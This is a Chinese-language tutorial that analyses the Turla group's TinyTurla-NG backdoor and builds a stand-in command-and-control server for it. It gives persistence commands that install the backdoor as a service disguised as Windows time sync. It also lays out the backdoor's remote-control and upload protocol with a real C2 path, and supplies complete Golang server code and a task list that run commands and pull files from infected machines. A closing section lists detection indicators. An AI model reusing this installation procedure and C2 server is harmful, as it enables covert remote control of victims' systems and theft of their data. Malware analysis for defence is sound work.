逆向开发Turla组织TinyTurla-NG新后门C&C站点
字数 1794 2025-08-06 00:52:37
TinyTurla-NG 后门分析与C&C站点构建教学文档
1. TinyTurla-NG 后门概述
TinyTurla-NG是Turla APT组织使用的新型后门,与早期TinyTurla后门类似但功能更为复杂。该后门以服务DLL形式植入系统,通过svchost.exe启动,主要用于远程控制和数据窃取。
2. 运行场景复现
2.1 服务安装步骤
- 将后门DLL重命名为
w64time.dll - 执行以下命令安装服务:
copy "w64time.dll" %systemroot%\system32\
sc create W64Time binPath= "c:\Windows\System32\svchost.exe -k TimeService" type= share start= auto
sc config W64Time DisplayName= "Windows 64 Time"
sc description W64Time "Maintain date and time synch on all clients and services in the network"
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Svchost" /v TimeService /t REG_MULTI_SZ /d "W64Time" /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\W64Time\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%systemroot%\system32\w64time.dll" /f
sc start W64Time
2.2 运行机制
- 服务启动后调用
ServiceMain函数 - 通过
beginthreadex创建主感染线程 - 主线程创建两个子线程:
- 线程1:负责与C&C服务器通信
- 线程2:负责执行接收到的命令
3. 样本功能分析
3.1 初始化过程
- 初始化配置结构体
- 检测系统环境:
- PowerShell版本(>=5则使用PowerShell执行命令)
- Windows版本信息
3.2 线程功能
线程1(通信线程):
- 使用WINHTTP API与C&C通信
- 处理HTTP请求和响应
线程2(命令执行线程):
- 解析并执行从C&C接收的命令
- 处理特殊指令和常规shell命令
3.3 远控指令集
| 指令 | 功能描述 |
|---|---|
| changepoint | 检索命令执行结果 |
| timeout | 配置请求间隔时间 |
| changeshell | 切换执行shell方式(PowerShell/cmd) |
| get | 从C&C下载文件 |
| post | 上传文件到C&C |
| killme | 自删除 |
指令执行代码逻辑:
-
Shell命令执行:
- 根据检测到的PowerShell版本选择执行方式
- 创建进程执行命令并捕获输出
-
timeout指令:
- 修改后门请求间隔时间参数
- 示例:
timeout 1 1(设置短定时器为1分钟,失败计数器为1)
-
post指令:
- 上传指定路径文件到C&C
- 使用multipart/form-data格式传输
-
killme指令:
- 删除后门文件和相关注册表项
- 停止并删除服务
3.4 外联地址
- 以明文形式存储在样本中
- 示例:
jeepcarlease.com/wp-includes/blocks/rss.old.php
4. 通信模型分析
4.1 通信流程
-
上线认证:
- 发送"Client Ready"信标
- 包含客户端ID的POST请求
-
指令获取:
- 定期请求任务(
gettask) - C&C响应以"rsp:"开头的指令
- 定期请求任务(
-
结果回传:
- 命令执行结果通过"result"字段回传
- 文件通过"file"字段传输
4.2 HTTP请求类型
-
POST请求(result字段):
- 发送上线信标和命令结果
- Content-Type: multipart/form-data
-
POST请求(gettask字段):
- 请求获取远控指令
- 空内容表示请求新任务
-
POST请求(file字段):
- 上传文件内容
- 包含文件名和文件数据
4.3 通信示例
上线认证:
POST /wp-includes/blocks/rss.old.php HTTP/1.1
Content-Type: multipart/form-data; boundary=-
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
---
Content-Disposition: form-data;name="id"
307b5c9a
---
Content-Disposition: form-data;name="result"
Client Ready
-----
指令响应:
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
rsp:timeout 1 1
文件上传:
POST /wp-includes/blocks/rss.old.php HTTP/1.1
Content-Type: multipart/form-data; boundary=-
---
Content-Disposition: form-data;name="id"
307b5c9a
---
Content-Disposition: form-data;name="file"; filename="111.txt"
Content-Type: application/octet-stream
[文件内容]
-----
5. C&C站点构建
5.1 站点要求
- 支持HTTP/HTTPS(HTTPS需要有效证书)
- 处理三种POST请求类型
- 管理客户端任务和结果
5.2 Golang实现代码
项目结构:
├── conf/
│ ├── tasks.txt # 预定义指令列表
│ └── tmp.txt # 当前指令索引
├── common.go # 公共处理函数
└── main.go # 主程序
main.go:
package main
import (
"awesomeProject3/common"
"github.com/gin-gonic/gin"
"os"
)
func main() {
init_tasks()
r := gin.Default()
gin.SetMode(gin.ReleaseMode)
r.GET("/", common.HandleRoot)
r.POST("/wp-includes/blocks/rss.old.php", common.Handle_POST)
r.POST("/wordpress/wp-includes/rss.old.php", common.Handle_POST)
r.Run(":80")
}
func init_tasks() {
os.Remove("./conf/tmp.txt")
common.WriteFile("./conf/tmp.txt", "0")
}
common.go:
package common
import (
"bufio"
"fmt"
"github.com/gin-gonic/gin"
"io"
"io/ioutil"
"os"
"strconv"
)
func HandleRoot(c *gin.Context) {
c.String(200, "Hello, World!")
}
func Handle_POST(c *gin.Context) {
str_id := c.PostForm("id")
str_result := c.PostForm("result")
file, header, _ := c.Request.FormFile("file")
if str_result != "" {
// 处理命令结果
WriteFile_A("./conf/"+str_id+".txt", "**********output********\r\n"+str_result+"\r\n")
c.String(200, "rsp:")
} else if header != nil {
// 处理文件上传
defer file.Close()
out, _ := os.Create("./conf/post_" + header.Filename)
defer out.Close()
io.Copy(out, file)
c.String(200, "rsp:")
} else if str_result == "" {
// 获取并返回下一个指令
str, _ := ReadFile("./conf/tmp.txt")
num, _ := strconv.Atoi(str)
strs := FileToSlice("./conf/tasks.txt")
if num+1 < len(strs) {
os.Remove("./conf/tmp.txt")
WriteFile("./conf/tmp.txt", strconv.Itoa(num+1))
c.String(200, strs[num])
} else {
c.String(200, "rsp:")
}
}
}
// 辅助函数...
tasks.txt示例:
rsp:timeout 1 1
rsp:ipconfig
rsp:calc.exe
rsp:dir C:\Users\admin\Desktop
rsp:post C:\Users\admin\Desktop\111.txt
rsp:whoami
5.3 站点功能
- 记录客户端活动(按ID保存到文件)
- 按顺序发送预定义指令
- 接收并存储命令执行结果
- 处理文件上传(保存到conf目录)
6. 防御建议
-
检测指标:
- 异常服务创建(W64Time)
- 特定注册表项修改
- 对
wp-includes/blocks/rss.old.php的请求
-
防护措施:
- 监控svchost.exe加载异常DLL
- 限制PowerShell使用
- 网络流量分析(检测特定HTTP请求模式)
-
应急响应:
- 检查并删除异常服务
- 清理相关注册表项
- 分析可能泄露的数据
7. 总结
TinyTurla-NG后门通过精心设计的通信模型和功能模块实现隐蔽的远程控制。通过分析其工作原理和构建模拟C&C站点,可以更好地理解其行为特征,为检测和防御提供技术依据。实际防御中应重点关注异常服务创建、特定网络通信模式等IoC指标。